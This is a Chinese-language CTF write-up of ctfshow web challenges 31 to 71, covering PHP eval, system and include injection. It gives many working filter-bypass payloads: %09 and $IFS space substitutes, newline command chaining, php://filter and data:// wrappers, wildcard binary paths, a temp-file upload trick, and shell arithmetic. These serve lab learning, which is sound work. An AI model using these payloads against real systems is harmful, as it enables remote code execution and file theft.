web31
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
其中有一部分:
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
通过GET传参的方式传入c,传入c的内容中过滤掉了flag system php cat sort shell 英文句号(.) 空格( ) 单引号(')。那么我们可以找一些和他们功能相似的命令。
比如:
与system()功能相似的命令有exec()、passthru()、shell_exec()。
与cat命令功能相似的命令:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
空格被过滤掉可以用%09代替。
我们get传入**?c=passthru(“ls”);**
然后重新传入**?c=passthru(“tac%09fla*”);得到flag。
还可以:
1 >使用eval嵌套。具体参数:passthru 结合%09
其中%09绕过空格 ?c=eval($_GET[1]);&1=passthru("tac%09fla"); 这里需要注意括号的闭合,&的连接。
2> 使用pos(localeconv)来获取小数点
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。 ?c=print_r(scandir(pos(localeconv()))); 可以看到当前目录下有flag.php 通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后*?c=show_source(next(array_reverse(scandir(pos(localeconv())))));**
web34
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看到,被过滤的更多了
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))
用php伪协议:
传入**?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php**
得到一串base64加密过的值:
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ODUxZjI3ZjgtNWY5Yy00YTZhLTg5NjctNjIwMzUwNDhmZWMwfSI7DQo=
,然后开始解密得到
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:49:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$flag="ctfshow{851f27f8-5f9c-4a6a-8967-62035048fec0}";
web 39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){ //过滤flag
include($c.".php"); //添加后缀.php,无回显
}
}else{
highlight_file(__FILE__);
}
过滤了flag,采用文件包含的方式,利用data伪协议:传入**?c=data://text/plain,<?= system("tac fla\g.php");?>**
得到flag。
web 40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了冒号,不能用伪协议了,没有过滤英文状态的**()** 和**;**可以试试用无参函数:
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=highlight_file(next(array_reverse(scandir(dirname(FILE)))));
show_source 与 highlight_file 可以互换。
得到flag。
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
>/dev/null 2>&1
默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”。要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞。
所以构造 :
?c=ls;ls(第二个参数可以写可以不写,但一定要加分号。代表分号前面是第一个参数。)
接着看到flag.php,然后构造
?c=tac flag.php;
得到flag。
关于linux中>/dev/null 2>&1和2>&1 > /dev/null请点击链接
web43
与web42相比,就多过滤了分号和cat。
分号的代替:
%26 %0a ||
cat的代替就很多了:
tac tail nl sort uniq head more less等
构造:
?c=tac flag.php%0a
得到flag。
web44
构造?c=tac fla\g.php%0a
flag被过滤,用fla?.php或fla*或fla\g.php
web45
空格被过滤了
空格的代替:
%09
%20
$IFS
${IFS}
$IFS$9
<
<>
构造:
?c=tac%09fl\ag.php%26
web46
新过滤了*$和数字
仍然可以构造?c=tac%09fl\ag.php%26
其中%09,%26不受数字被过滤的影响,因为在加载时%09,%26会被解码为空格和分号,也就没有了数字。
web47
仍然可以构造?c=tac%09fl\ag.php%26
web48
仍然可以构造?c=tac%09fl\ag.php%26
web49
仍然可以构造?c=tac%09fl\ag.php%26
web50
过滤了\x09和\x26,是十六进制,相当于过滤了把%09和%26url解码后的\t和&。
那么用nl构造?c=nl<>fl\ag.php%0a
查看源码得到flag。
web51
用nl构造?c=nl<>fl\ag.php%0a
查看源码得到flag。
web52
过滤了<>,放开了$。
构造
显示假的flag。
构造
没有flag。
加个反引号构造
假的flag
打开根目录查看:
等价于?c=ls /;
其中“/”是根目录。说明flag在根目录下
移动flag到吧.txt文件中,构造:
查看b.txt
得到flag。
web53
把tac过滤掉了,使用tac时用t\ac不就行了吗?
构造:ls%0a
构造:ta\c${IFS}fl\ag.php%0a
得到flag。
web54
好奇怪
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);//|.*c.*a.*t.*|的意思是cat 和cat之间插入字符都被过滤了,相当于引号绕过用不了了c""at也会被过滤
}
}else{
highlight_file(__FILE__);
}
?c=ls%0a
查看一下,
/?c=t''ac${IFS}fl??.php%0a
无回显。那就将flag.php的名字改一下,?c=mv${IFS}fla?.php${IFS}c.txt
查看c.txt得到flag。
web55
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这下好了,过滤了字母,但是数字没有过滤,数字?64?用base64加密内容。原内容为/bin/base64 flag.php
过滤了字母?用?代替,然后为:/???/????64 ????.???
解密后得到
知识点:
可以匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
方法二
参考的wp,有用bzip2的命令的。请参考这里
命令名称:bzip2
命令全称:a block-sorting file compressor
执行权限:所有用户
所在路径:/usr/bin/bzip2
功能描述:压缩文件
我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/???2 ???.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php
方法三
前提是 题目没有过滤 ? / . (问号,斜杠,点),就可以使用这个方法进行RCE
编写 本地文件上传的网页:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://0bb2c3a2-2646-491d-80fa-52c6bee9decc.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。至于后面为什么要加[@-[],是为了匹配到文件的最后一个字母的大写
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
构造poc执行命令
?c=.+/???/???[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
web57
这里的字母和数字都被过滤了,题目说传入一个36,就可以得到flag。
那应该怎么传入一个36呢?
因为是在shell环境下的,所以需要使用linux shell的一些特性:
$(())
代表做一次运算,因为里面为空,也表示值为0
$((~$(())))
对0作取反运算,值为-1
$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1
如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
那么最后只需要37个-1相加再取反即可。
写个脚本生成payload:
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
传参后查看源码:
web58
这次是post传入一个c,不妨用蚁剑试试?
方法二
post传参:
传入c=passthru("ls");``c=system("ls");
等,发现我试的系统命令都被过滤了。
这里补充一些读取文件的函数的用法:
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
我用一下c=echo file_get_contents("flag.php");
,得到了flag。
web59
同上题,但这题file_get_contents
被过滤了,我试了一下c=show_source("flag.php");
得到flag。
也可以使用include()文件包含:
//POST传入:
c=echo include($_GET[1]);
//url连接:
/?1=php://filter/convert.base64-encode/resource=flag.php
之后base64解密得到flag。
web71
刚打开看到
post传去一个试试,c=include('flag.php');
,结果都被通配符占领了。
为什么呢?参考wp之后发现大家的都是给出index.php。
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
这样看的话[0-9][a-z]都被过滤了。怪不得
$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
可以不让他执行后面的内容,这样就不会被过滤了。利用exit();
直接停止后面的程序。然后执行c=include('/flag.txt');exit();
拿到flag。